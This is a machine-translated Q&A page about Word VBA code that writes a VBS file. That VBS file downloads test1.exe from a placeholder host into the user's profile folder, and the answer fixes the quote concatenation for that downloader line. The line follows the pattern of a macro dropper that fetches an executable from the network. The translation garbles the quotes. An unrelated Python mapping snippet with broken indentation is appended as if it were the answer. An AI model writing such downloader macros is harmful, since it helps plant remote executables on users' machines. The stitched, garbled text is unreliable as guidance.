写出引用变量

时间:2017-06-17 01:02:24

标签: vba vbscript word-vba

我正在努力寻找一些写出VBS文件的代码,用于写入保存变量的文件路径的特定行。努力获得正确的双引号并正确放置变量。

此行当前有效,但仅限于" C:\ tmp" dir已经创建:

  

打印#PayLoadFile," HTTPDownload"" http://host.example.net/test1.exe"","" C:\ tmp"& #34; "

而不是C:\ tmp,我想写入用户配置文件目录。但我无法在VBS文件中正确写出部分。我试过这个:

  

打印#PayLoadFile," HTTPDownload"" http://host.example.net/test1.exe"",""替换(myFile)" " "

' myFile'变量包含用户配置文件目录的字符串(" c:\ Users \ John Doe")

它应该打印到vbs文件中:
HTTPDownload" http://host.example.net/test1.exe"," C:\ Users \ John Doe"

但它看起来像这样: HTTPDownload" http://host.example.net/test1.exe","替换(myFile)"

1 个答案:

答案 0 :(得分:1)

您需要将Print #PayLoadFile, "HTTPDownload ""http://host.example.net/test1.exe"", """ & myFile & """" 的值连接到字符串中:

import ipywidgets as widgets
import gmaps
import pandas as pd
gmaps.configure(api_key="my api key...") 
from IPython.display import display
from IPython.display import clear_output

# global scaling for circle size on map
global SCALING_NORMALIZATION
SCALING_NORMALIZATION = 30

#MAP FUNCTIONS
#function to change circle sizes on map
def create_circle_sizes(values):
    scaling_values = []

    for i in range(0, len(values)):
        a = np.asscalar(values[i])
        a = int(a /  SCALING_NORMALIZATION)
        if a == 0:
            scaling_values.append(2)
        else:
            scaling_values.append(a)
   return scaling_values

# function to create hover info on map
def create_hover_info(service_types, names):
    hover_info = []

    for i in range(0, len(service_types)):
        hover_info.append(names[i])

    return hover_info

#function to draw a map in gmaps
def create_map(value):

    map_df = data[data['lga'] == value][['lat', 'long', 'lic_places', 'sta_name', 'distinct_se_type']]

    scaling = map_df['lic_places'].tolist()
    names = map_df['sta_name'].tolist()
    service_types = map_df['distinct_se_type'].tolist()

    map_layer = gmaps.symbol_layer(map_df[['lat', 'long']], 
                               fill_color="blue", 
                               stroke_color="blue", 
                               scale=create_circle_sizes(scaling),
                               hover_text = 
create_hover_info(service_types, names))
    fig = gmaps.figure()
    fig.add_layer(map_layer)  
    display(fig)


# WIDGET FUNCTIONS
# function to update the map when dropdown choice is changed
def update_map(args):
    # clear_output() doesn't seem to work with map rendering
    clear_output()
    user_choice = args['new']
    create_map(user_choice)


# dropdown widget 
dd = widgets.Dropdown(
    options=['auburn (c)', 'fairfield (c)', 'penrith (c)'],
    value='fairfield (c)',
    description='Number:',
    disabled=False,
    button_style='' 
)

#display dropdown widget, with function it will call on change
dd.observe(update_map, 'value')